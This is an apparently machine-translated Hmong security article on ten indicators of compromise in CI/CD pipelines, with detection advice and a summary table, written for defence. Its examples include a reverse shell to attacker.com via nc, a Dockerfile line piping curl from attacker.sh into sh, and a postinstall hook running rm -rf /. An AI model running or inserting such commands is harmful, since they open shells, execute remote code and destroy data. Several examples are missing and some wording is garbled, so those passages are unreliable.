Kev Taw Qhia: Cov Cim Qhia Txog Kev Ua Phem Hauv Cybersecurity Yog Dab Tsi?
Cov cim qhia txog kev puas tsuaj yog thawj cov cim ceeb toom uas koj lub kaw lus lossis pipeline tej zaum yuav raug tawm tsam. Hauv cov lus yooj yim, cov cim qhia txog kev sib haum xeeb yog cov cim tseg los ntawm cov neeg tawm tsam, zoo li coj txawv txawv logins, kev hloov pauv ntawm cov ntaub ntawv, lossis malware zais cia. Hauv IOC kev ruaj ntseg hauv internet, lawv ua zoo li cov ntiv tes ntawm qhov chaw ua txhaum cai, muab pov thawj meej rau koj tias muaj qee yam tsis raug. Yog li ntawd, thaum cov neeg tsim khoom nug dab tsi yog cov cim qhia ntawm kev sib haum xeeb, cov lus teb tsis yog txwv rau cov servers lossis firewalls, nws kuj suav nrog cov kev pheej hmoo zais cia hauv niaj hnub no CI/CD pipelines.
Hauv cov no pipelines, cov neeg tawm tsam tuaj yeem hloov kho cov lej, txhaj cov kev vam khom phem, lossis hloov cov kauj ruam tsim yam tsis tau pom. Txawm li cas los xij, feem ntau cov lus qhia tseem tsom mus rau cov servers lossis networks xwb. Yog li ntawd, cov khoom siv software tau dhau los ua ib qho ntawm cov hom phiaj yooj yim tshaj plaws.
Yog vim li cas nrhiav tau cov cim qhia txog kev sib haum xeeb hauv CI/CD pipelines yog qhov tseem ceeb. Qhov tseem ceeb tshaj plaws, nws pab cov pab pawg thaiv malware, tiv thaiv cov lus zais, thiab ruaj ntseg txhua kauj ruam ntawm kev xa khoom software.
10 Cov Cim Qhia Txog Kev Ua Phem Hauv CI/CD Pipelines
Thaum piav qhia txog cov cim qhia txog kev puas tsuaj, feem ntau cov npe tsom mus rau cov servers lossis networks. Txawm li cas los xij, CI/CD pipelines, cov neeg tawm tsam tawm cov cim ntiv tes sib txawv heev. Kev lees paub cov cim no yog qhov tseem ceeb rau kev tiv thaiv ua ntej. Hauv qab no yog 10 IOC cybersecurity red flags txhua tus neeg tsim khoom thiab tus kws ua haujlwm kev ruaj ntseg yuav tsum saib xyuas.
1. Kev Hloov Pauv Uas Txawv Txawv Ntawm Kev Nyob Nrog Lwm Tus
Ib qho ntawm cov cim qhia tseem ceeb ntawm kev sib haum xeeb hauv pipelines yog qhov hloov tshiab tsis tau npaj tseg. Cov neeg tawm tsam feem ntau siv cov neeg tsim khoom ntseeg siab tso rau hauv cov thawj tswj pob khoom los ntxiv cov pob khoom txaus ntshai.
Piv txwv li, hauv npm a package.json qhov sib txawv tej zaum yuav muaj xws li:
Cov kev hloov pauv no yuav zoo li muaj kev nyab xeeb tab sis tuaj yeem txhaj cov lej trojanized rau hauv txhua qhov kev tsim kho.
Qhov cuam tshuam: cov kev tsim kho uas raug cuam tshuam tau txais cov malware ntawm qhov chaw.
Nrhiav kom tau: siv cov kev tshuaj xyuas kev vam khom, taug qab cov ntaub ntawv sib txawv, thiab luam theej duab cov pob khoom tshiab txhua lub sijhawm.
2. Cov lej zais hauv cov qauv tsim
Cov neeg sau malware vam khom kev ua kom tsis meej pem kom hla dhau kev tshuaj xyuas. Yog li ntawd, qhov cim qhia txog kev cuam tshuam no hauv CI/CD pipelines tuaj yeem yog ib qho ntawm qhov nyuaj tshaj plaws los ntes. Qhov tseeb, cov payloads uas tsis meej pem feem ntau nkag mus rau hauv cov tsev qiv ntawv qhib lossis cov duab thawv yam tsis tau ceeb toom.
Piv txwv li:
- Ib pob PyPI siv
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Ib daim duab Docker uas muaj cov UPX binaries uas tsis tsim nyog.
- JavaScript puv nrog
\x41\x42khiav nkaum cov neeg nyiag daim ntawv pov thawj.
Qhov cuam tshuam: Cov lej zais cia ua haujlwm ntsiag to thaum lub sijhawm tsim lossis runtime, uas ua rau qhov no yog lub cim tseem ceeb hauv IOC cybersecurity.
Nrhiav kom tau: Ua ke SAST nrog rau kev tshuaj xyuas malware kom cim tau cov lej encoded lossis packed. Qhov tseem ceeb tshaj plaws, kho qhov tsis meej pem ua ib qho cim liab uas tsim nyog tshawb nrhiav ntxiv.
3. Cov Lus Zais Qhia Hauv Git: Ib Qho Kev Pheej Hmoo Cybersecurity IOC Classic
CI/CD pipelines feem ntau tau txais cov lus zais ncaj qha los ntawm cov chaw khaws cia. Txawm li cas los xij, thaum cov lus zais tshwm sim hauv Git, lawv dhau los ua ib qho ntawm cov lus teb meej tshaj plaws rau lo lus nug "dab tsi yog cov cim qhia ntawm kev sib haum xeeb hauv pipelines?” Thaum cov ntaub ntawv pov thawj tsaws rau hauv Git, cov neeg tawm tsam tuaj yeem siv lawv mus tas li.
Piv txwv li:
- A
.envcov ntaub ntawv uas muajAWS_SECRET_KEY=. - Cov cim tau thawb rau hauv
config.json. - Cov lus zais tseem pom tau hauv keeb kwm Git txawm tias tom qab tshem tawm lawm.
Qhov cuam tshuam: Cov yuam sij uas raug nthuav tawm muab kev nkag mus rau cov neeg tawm tsam ncaj qha rau CI/CD pipelines, cov huab cua, lossis cov ntaub ntawv khaws cia. Yog li no qhov no yog ib qho ntawm cov cim qhia txog kev cuam tshuam uas txaus ntshai tshaj plaws.
Nrhiav kom tau: siv pre-commit hooks thiab CI txoj haujlwm rau kev luam theej zais cia, thiab rho tawm cov yuam sij uas tau xau tam sim ntawd. Tsis tas li ntawd, ua kom muaj kev kho kom rov zoo los ntawm kev siv tshuab kom txo qhov rais uas raug kev cuam tshuam.
4. Raug cuam tshuam Pipeline Kev Teeb Tsa: Cov Cim Qhia Txog Kev Ua Phem
Pipeline configs yog cov hom phiaj muaj nqis siab vim tias ib qho kev hloov kho feem ntau ua rau tag nrho cov txheej txheem ua haujlwm tsis raug cai. Yog li ntawd, raug hloov pauv pipeline cov ntaub ntawv yog qhov kev pheej hmoo loj ntawm IOC cybersecurity uas cov cuab yeej saib xyuas ib txwm tsis tshua pom.
Piv txwv li:
Hauv GitHub Cov Kev Ua:
- Hauv GitLab: ib txoj haujlwm phem ntxiv rau
.gitlab-ci.ymluas tso cov ntaub ntawv rhiab heev. - Hauv Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Qhov cuam tshuam: Cov kev hloov pauv uas tsis tau pom zoo no ua rau koj pipeline mus rau hauv ib lub qhov rooj tom qab tas mus li rau cov neeg tawm tsam, uas pom tseeb tias yog ib qho cim qhia txog kev sib haum xeeb.
Nrhiav kom tau: Siv cov kev teeb tsa uas tau kos npe, xav tau kev pom zoo los ntawm PR, thiab saib xyuas cov haujlwm uas tsis tau xav txog. Tsis tas li ntawd, teeb tsa guardrails uas cia li thaiv cov txheej txheem ua haujlwm uas tau hloov pauv lawm.
5. Muaj cai IaC Cov Qauv Tsis Siv Neeg
Cov lus txhais ntawm cov khoom siv tsis raug teeb tsa feem ntau tsim cov qhov rooj zais cia. Yog li ntawd, cov cai tshwj xeeb hauv IaC yog ib qho kev pheej hmoo cybersecurity IOC ib txwm muaj.
Piv txwv li:
- Ib qho Kubernetes deployment granting pods
privileged: true. - Cov duab qhia txog Helm qhia txog cov kev pabcuam nrog
0.0.0.0:22.
Qhov cuam tshuam: Cov neeg tawm tsam tau txais kev nkag mus rau hauv paus lossis nthuav tawm cov kev pabcuam sab hauv rau pej xeem. Yog li ntawd, cov teeb meem no nthuav dav qhov chaw tawm tsam ntau heev.
Nrhiav kom tau: thov IaC luam theej duab kom siv txoj cai tsawg tshaj plaws ua ntej sib koom ua ke. Tsis tas li ntawd, xyuas kom meej tias txhua qhov kev teeb tsa raug tshuaj xyuas ua ib feem ntawm pipeline.
6. Kev coj cwj pwm txawv txawv ntawm kev tsim kho
Cov neeg tawm tsam feem ntau hloov pauv pipeline tus cwj pwm kom plam hauv kev ua phem. Hauv lwm lo lus, kev ua ub ua no tsis tshua muaj yog ib qho ntawm cov lus teb meej tshaj plaws rau cov cim qhia ntawm kev cuam tshuam hauv CI/CD pipelines.
Piv txwv li:
- Cov builds ua cov kev thov tawm network mus rau cov domains txawv txawv.
- Ib qhov project Node.js tam sim ntawd spawning PowerShell thaum lub sijhawm
npm install. - Ib txoj haujlwm CI rub tawm cov binary loj uas tsis tau txhais hauv cov ntawv sau ua ke.
Qhov cuam tshuam: Cov kev tsim kho uas raug puas tsuaj tuaj yeem ua haujlwm ua cov chaw faib tawm malware. Qhov tseem ceeb tshaj plaws, lawv kis cov payloads phem thoob plaws txhua qhov kev xa tawm.
Nrhiav kom tau: Saib xyuas cov ntaub ntawv tsim kho kom paub txog cov txheej txheem lossis kev sib txuas uas tsis tau xav txog. Tsis tas li ntawd, teeb tsa qhov kev kuaj pom qhov tsis zoo los cim cov cwj pwm tsis zoo li qub.
7. Cov Ntawv Sau Txog Cov Pob Khoom Uas Ua Rau Muaj Kev Pheej Hmoo Hauv IOC Cybersecurity
Cov thawj tswj hwm pob khoom txhawb nqa lub neej voj voog hooks uas cov neeg tawm tsam siv tsis raug. Yog li ntawd, cov ntawv sau phem hauv npm, PyPI, lossis Dockerfiles yog cov cim qhia muaj zog ntawm kev cuam tshuam.
Piv txwv li:
- npm:
postinstallkev khiav tsab ntawv saurm -rf /los yog teeb tsa lub C2. - PyPI:
setup.pyua cov lej Python zais thaum nruab. - Cov ntaub ntawv Docker:
RUN curl attacker.sh | sh.
Qhov cuam tshuam: Qhov kev tawm tsam no tshwm sim thaum lub sijhawm teeb tsa, ua ntej kev sim ua haujlwm. Yog li ntawd, cov neeg tsim khoom yuav tsis pom txog thaum nws lig dhau lawm.
Nrhiav kom tau: Luam theej cov ntawv qhia pob khoom rau cov ntawv teeb tsa. Tsis tas li ntawd, txwv tsis pub muaj kev pheej hmoo hooks in CI/CD cov haujlwm kom txo qis kev raug mob.
8. Cov Cim Qhia Txog Kev Lom Zem Hauv Registry ntawm Kev Ua Phem
Cov neeg tawm tsam hloov lossis hloov kho cov khoom cuav hauv cov npe sau npe, thiab cov xwm txheej no yog cov piv txwv ntawm cov cim qhia txog kev cuam tshuam hauv cov khoom xa tuaj. pipelines.
Piv txwv li:
- Ib daim duab Docker tag uas tau hloov kho tshiab nrog ib txheej trojanized.
- Ib pob khoom sab hauv tau hloov nrog ib qho version uas muaj tshuaj lom.
- npm namespace squatting, xws li
lodash-proxy.
Qhov cuam tshuam: Txhua lub tsev uas siv cov khoom sau npe raug cuam tshuam. Tsis yog li ntawd xwb, tab sis qhov kev cuam tshuam no kis mus rau cov kev pabcuam hauv qab.
Nrhiav kom tau: Ua kom muaj kev kuaj xyuas kos npe thiab kev ncaj ncees ntawm txhua qhov kev rub tawm ntawm cov ntaub ntawv sau npe. Tsis tas li ntawd, taug qab keeb kwm ntawm cov khoom cuav nrog SBOM kev lees paub.
9. Kev Ua Haujlwm Txawv Txawv ntawm Tus Neeg Siv Ua Pov Thawj IOC
Cov nyiaj uas raug nyiag yuav luag ib txwm tso cov cim qhia tsis zoo. Yog li ntawd, tus cwj pwm tsis zoo ntawm tus tsim tawm yog qhov qhia tau zoo ntawm kev cuam tshuam.
Piv txwv li:
- Committau thawb thaum 3 teev sawv ntxov lub sijhawm hauv zos.
- Kev pom zoo PR los ntawm cov nyiaj thaum hnub so.
- Pipelines ua rau muaj zaus tsis tshua muaj.
Qhov cuam tshuam: Cov neeg tawm tsam siv cov ntaub ntawv pov thawj uas raug nyiag los ntxig cov kev hloov pauv phem. Tom qab tag nrho, tsis raug cai commits sib xyaw yooj yim rau hauv cov txheej txheem ua haujlwm ib txwm muaj.
Nrhiav kom tau: saib SCM kev ua ub no rau qhov tsis zoo, siv MFA, thiab hloov cov cim tsis tu ncua. Tsis tas li ntawd, ceeb toom txog qhov txawv txav commit los yog cov qauv kev pom zoo.
10. Kev Tshawb Xyuas Kev Ncaj Ncees lossis Kev Kos Npe Tsis Tau Ua tiav hauv IOC Cybersecurity
Ib qho uas feem ntau tsis quav ntsej qhov cim qhia txog kev sib haum xeeb yog qhov kev kuaj xyuas kev ncaj ncees lossis kos npe tsis ua tiav. Hauv IOC cybersecurity, cov kev kuaj xyuas no lees paub tias cov lej lossis cov khoom cuav yog qhov tseeb. Tsis txhob hla lawv tawm pipelines raug.
Piv txwv:
- Ib qho SHA256 hash tsis phim qhov checksum xav tau.
- Ib daim ntawv kos npe GPG uas ploj lawm lossis tsis raug.
- An SBOM qhia cov khoom siv tsis tau kos npe.
Qhov cuam tshuam: Kev ua tsis tiav ntawm kev ncaj ncees feem ntau txhais tau tias muaj kev cuam tshuam, kev lom neeg rau npe, lossis kev txhaj tshuaj malware.
Nrhiav kom tau: Ua kom cov kev kuaj xyuas kos npe ua haujlwm tau zoo, siv zog rau kev lees paub cov checksum, thiab thaiv cov khoom tsis tau kos npe. Qhov tseem ceeb tshaj plaws, kho txhua qhov kev kuaj xyuas uas tsis ua tiav ua pov thawj meej ntawm kev cuam tshuam.
CI/CD Cov Cim Qhia Txog Kev Ua Phem Ntawm Ib Saib Ib Muag
| Qhov Qhia Txog Kev Sib Tw (IOC) | Kev cuam tshuam rau hauv CI/CD Pipelines | Yuav Ua Li Cas Nrhiav Tau |
|---|---|---|
| Kev Hloov Pauv Uas Txawv Txawv | Cov neeg tawm tsam txhaj cov tsev qiv ntawv phem rau hauv cov thawj tswj pob khoom, ua rau muaj kev puas tsuaj. | Taug qab qhov sib txawv ntawm cov ntaub ntawv xauv, ua kom muaj kev tshuaj xyuas kev vam khom, thiab luam theej duab kev vam khom tas li. |
| Cov Code Obfuscated hauv Builds | Cov payloads zais cia ua haujlwm thaum lub sijhawm tsim lossis runtime yam tsis muaj kev kuaj pom. | siv SAST thiab kev tshuaj xyuas malware kom cim cov qauv code base64, hex, lossis packed code. |
| Cov Lus Zais Qhia Hauv Git | Cov tokens lossis API keys uas tau xau lawm pub rau cov neeg tawm tsam nkag mus rau cov kab ke tseem ceeb ncaj qha. | Khiav cov kev luam theej zais cia hauv Git hooks thiab rho tawm cov ntaub ntawv pov thawj uas tau xau tawm lawm. |
| Raug cuam tshuam Pipeline configurations | Cov txheej txheem ua haujlwm uas tau hloov kho tso cai rau kev rho tawm cov ntaub ntawv lossis kev nyob ruaj khov sab hauv CI/CD. | Yuav tsum tau kev pom zoo los ntawm PR, siv cov qauv teeb tsa uas tau kos npe, thiab saib xyuas pipeline hloov. |
| Txaus siab rau IaC Cov Qauv Tsis Siv Neeg | Lub luag haujlwm tso cai dhau los yog qhov tsis ruaj ntseg ua rau pom cov huab cua ib puag ncig. | Luam theej duab Terraform, Kubernetes, thiab Helm cov ntaub ntawv rau kev siv txoj cai tsawg tshaj plaws. |
| Cov cwj pwm txawv txawv ntawm kev tsim kho | Pipelinesiv ua cov chaw faib tawm malware lossis rau kev txav mus rau sab. | Tshuaj xyuas cov ntaub ntawv tsim kho rau cov downloads, cov txheej txheem, lossis cov xov tooj tawm tsis tau xav txog. |
| Cov Ntawv Sau Txog Pob Khoom Uas Muaj Kev Phem | Cov ntawv sau ua ntej/tom qab kev teeb tsa uas zais cia ua rau muaj cov payloads ua ntej kev sim sijhawm khiav. | Thaiv cov ntawv sau npm/PyPI uas muaj kev pheej hmoo thiab txwv tsis pub ua haujlwm hauv CI/CD hauj lwm. |
| Kev Lom Zem Hauv Registry | Cov khoom siv Trojanized hloov cov duab lossis binaries ntseeg siab hauv cov npe sau npe. | Txheeb xyuas cov checksums, siv cov ntawv kos npe lees paub, thiab luam theej duab cov npe sau npe ua ntej. |
| Kev Ua Haujlwm Txawv Txawv ntawm Tus Neeg Siv | Cov nyiaj raug tsim txom thawb cov neeg phem commits los yog lub cuab yeej pipelines. | Siv MFA, saib xyuas commits rau qhov tsis zoo, thiab tshuaj xyuas login qauv. |
| Kev Tshawb Xyuas Kev Ncaj Ncees lossis Kev Kos Npe Tsis Tau Ua tiav | Qhia txog cov lej uas raug hloov pauv, kev vam khom, lossis cov duab nkag mus rau hauv pipeline. | Ua kom cov kev kuaj xyuas kev ncaj ncees thiab thaiv cov khoom tsis tau kos npe lossis tsis sib xws. |
Vim li cas IOC Cybersecurity Ib Txwm Tsis Tau Zoo CI/CD Txaus ntshai
Feem ntau cov koom haum twb saib xyuas cov cim qhia txog kev puas tsuaj ntawm cov servers, computers, lossis networks. Txawm li cas los xij, txoj hauv kev qub no rau IOC cybersecurity tsis quav ntsej CI/CD pipelines, uas tam sim no yog ib qho ntawm cov chaw tawm tsam tseem ceeb tshaj plaws. Qhov tseeb, pipelines qhia cov cim qhia txog kev tsis sib haum xeeb uas cov cuab yeej ib txwm tsis tuaj yeem pom.
Cov Cim Qhia Txog Kev Ua Phem Hauv Kev Ruaj Ntseg Ib Txwm Muaj
Hauv kev ruaj ntseg hauv cybersecurity IOC ib txwm muaj, qhov kev tsom mus rau feem ntau yog rau:
- txawv txawv logins lossis cov chaw nyob IP uas qhia tias muaj cov ntaub ntawv raug nyiag.
- Cov ntaub ntawv hashes lossis kev hloov pauv registry uas qhia txog malware.
- Cov tsheb khiav tawm tsis tau xav txog uas taw qhia rau kev nyiag cov ntaub ntawv.
Cov no yog cov cim qhia paub zoo uas kuj tau taug qab hauv MITRE ATT&CK lub moj khaum, uas qhia txog cov cwj pwm thiab cov tswv yim ntawm cov yeeb ncuab. Cov no yog cov cim qhia muaj txiaj ntsig. Txawm li cas los xij, lawv feem ntau siv rau cov operating systems lossis cov koom haum hauv tuam txhab. Yog li ntawd, lawv tsis nco qab qhov kev cuam tshuam me me uas tshwm sim ua ntej hauv cov khoom siv software.
Yog vim li cas CI/CD Pipelines txawv
CI/CD pipelines yog cov chaw ua haujlwm tsis siv neeg uas cov neeg tsim khoom commit code, rub cov kev vam khom, thiab tso tawm cov qauv. Cov neeg tawm tsam paub tias ib qho kev cuam tshuam ntawm no ntws hla txhua qhov kev xa tawm. Yog li ntawd, cov cim qhia ntawm kev cuam tshuam yog dab tsi CI/CD pipelineLawv zoo li txawv heev:
- Ib qho kev vam khom phem tau ntxiv ntsiag to rau package.json lossis requirements.txt.
- Cov yuam sij API lossis cov cim qhia tau raug tshaj tawm hauv Git commits lossis .env cov ntaub ntawv.
- Cov lej zais uas tsis meej tau txhaj rau hauv cov pob npm lossis PyPI.
- Terraform lossis Kubernetes cov ntaub ntawv nrog cov tsis ruaj ntseg defaults zoo li privileged: true.
- Pipeline cov haujlwm kho kom rho tawm cov ntaub ntawv lossis qhib qhov rooj tom qab.
Cov cim qhia txog kev sib haum xeeb no CI/CD nyob tsis pom kev standard cov cuab yeej kev ruaj ntseg.
Qhov Sib Txawv hauv IOC Cybersecurity
Txawm hais tias ntau pab pawg nkag siab txog qhov tseem ceeb ntawm cov cim qhia txog kev cuam tshuam, lawv tseem tsuas yog vam khom kev tshawb pom los ntawm cov servers thiab cov cav hauv network. Yog li ntawd, cov neeg tawm tsam tuaj yeem lom cov khoom tsim lossis ntxig malware yam tsis tau tawm hauv cov cim qhia ib txwm muaj. Qhov no yog vim li cas cov xwm txheej xws li XZ Utils backdoor lossis cov pob khoom npm phem tsis tau pom kom txog thaum lawv mus txog qhov ntau lawm.
Cov kev sib cog lus ntawm cov khoom xa tuaj no kuj tau hais txog los ntawm CISCov lus qhia txog kev ruaj ntseg ntawm cov khoom xa tuaj ntawm A, uas ceeb toom tias cov neeg tawm tsam tsom mus rau ntau dua CI/CD pipelines thiab cov ntaub ntawv sau npe.
Lub Tshaj Tawm
Kev ruaj ntseg hauv internet ntawm IOC ib txwm muaj yog qhov tsim nyog tab sis tsis txaus. Qhov tseem ceeb tshaj plaws, cov pab pawg yuav tsum paub txog cov cim qhia txog kev cuam tshuam tshwj xeeb rau CI/CD pipelines. Tsuas yog thaum ntawd lawv thiaj li nrhiav tau cov code phem lossis pipeline kev tsim txom ua ntej nws kis mus rau lwm qhov chaw.
